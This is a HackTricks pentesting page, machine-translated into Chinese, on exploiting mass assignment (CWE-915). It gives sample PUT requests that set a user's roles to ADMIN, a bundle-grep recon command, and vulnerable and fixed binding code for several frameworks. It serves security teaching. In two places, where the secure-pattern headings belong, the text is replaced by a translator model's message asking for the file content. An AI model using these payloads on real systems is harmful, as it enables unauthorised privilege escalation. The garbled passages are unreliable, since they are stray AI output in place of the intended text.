Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding
Reading time: 9 minutes
tip
学习和实践 AWS 黑客技术: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:
学习和实践 Azure 黑客技术: HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Mass assignment (a.k.a. insecure object binding) 发生在 API/controller 接收用户提供的 JSON 并将其直接绑定到服务器端的 model/entity,而没有显式的字段 allow-list。如果像 roles、isAdmin、status 或 ownership 等特权属性可被绑定,任何已认证用户都可能提升权限或篡改受保护的状态。
这是一个 Broken Access Control 问题 (OWASP A01:2021),通常可以通过设置 roles=ADMIN 等方式实现 vertical privilege escalation。它常见于支持将请求体自动绑定到数据模型的框架(Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs 等)。
1) 查找 Mass Assignment
查找可用于自我服务的端点,这些端点更新你自己的个人资料或类似资源:
- PUT/PATCH /api/users/{id}
- PATCH /me, PUT /profile
- PUT /api/orders/{id}
表明存在 mass assignment 的启发式迹象:
- 响应回显服务器管理的字段(例如 roles、status、isAdmin、permissions),即使你没有发送这些字段。
- 客户端打包文件包含角色名称/ID 或应用中使用的其他特权属性名(admin、staff、moderator、internal flags),暗示模式可被绑定。
- 后端序列化器接受未知字段而不拒绝它们。
快速测试流程:
- 执行仅包含安全字段的常规更新,并观察完整的 JSON 响应结构(this leaks the schema)。
- 在请求体中加入经精心构造的特权字段后重复更新。如果响应保留了更改,则很可能存在 mass assignment。
示例基线更新显示模式:
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}
响应暗示了特权字段:
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}
2) 利用 – Role Escalation via Mass Assignment
一旦你知道可绑定的结构,就在同一个请求中包含名为 privileged 的属性。
示例:在你自己的用户资源上将 roles 设置为 ADMIN:
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}
If the response persists the role change, re-authenticate or refresh tokens/claims so the app issues an admin-context session and shows privileged UI/endpoints.
注意
- Role identifiers 和 shapes 通常可以从 client JS bundle 或 API docs 中枚举出来。搜索类似 "roles"、"ADMIN"、"STAFF" 或数字 role IDs 的字符串。
- 如果 tokens 包含 claims(例如 JWT roles),通常需要 logout/login 或 token refresh 才能实现新的权限。
3) Client Bundle Recon for Schema and Role IDs
- 检查 minified JS bundles 以寻找 role strings 和 model names;source maps 可能揭示 DTO shapes。
- 查找包含 roles、permissions 或 feature flags 的 arrays/maps。构造与精确属性名和嵌套结构匹配的 payloads。
- 典型指示器:role name constants、dropdown option lists、validation schemas。
Handy greps against a downloaded bundle:
strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u
4) 框架陷阱与安全模式
当框架将 req.body 直接绑定到持久化实体时,会产生该漏洞。下面是常见错误和最小化的安全模式。
Node.js (Express + Mongoose)
易受攻击:
// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});
我需要该文件的内容才能翻译。请粘贴 src/pentesting-web/mass-assignment-cwe-915.md 的完整 Markdown 内容(或指出要翻译的具体段落)。我会按要求翻译为中文,保留所有 Markdown/HTML 标签、路径、代码、技术名词及不翻译的词汇不变,并仅返回翻译后的 Markdown 输出。
// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.
Ruby on Rails
易受攻击(没有 strong parameters):
def update
@user.update(params[:user]) # roles/is_admin can be set by client
end
修复 (strong params + 无特权字段):
def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end
Laravel (Eloquent)
易受攻击:
protected $guarded = []; // Everything mass-assignable (bad)
我没有收到要翻译/修复的文件内容。请粘贴 src/pentesting-web/mass-assignment-cwe-915.md 的原始 Markdown 文本(或说明具体要修复的部分)。我会按你给出的规则把相关英文翻成中文,保持原有的 Markdown/HTML 标签、路径和代码不变。
protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin
Spring Boot (Jackson)
易受攻击的模式:
// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }
修复:映射到仅包含允许字段的 DTO 并强制执行授权:
record UserUpdateDTO(String firstName, String lastName, String nickName) {}
然后在服务器端从 DTO 将允许的字段复制到实体,并且仅在通过 RBAC 检查后的仅管理员处理程序中处理角色变更。如有必要,对特权字段使用 @JsonIgnore,并拒绝未知属性。
Go (encoding/json)
- 确保特权字段使用 json:"-",并使用只包含允许字段的 DTO 结构体进行验证。
- 考虑使用 decoder.DisallowUnknownFields(),并在绑定后验证不变量(例如:角色不能在自助服务路由中更改)。
参考资料
- FIA Driver Categorisation: Admin Takeover via Mass Assignment of roles (Full PoC)
- OWASP Top 10 – Broken Access Control
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
tip
学习和实践 AWS 黑客技术: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:
学习和实践 Azure 黑客技术: HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
 HackTricks
HackTricks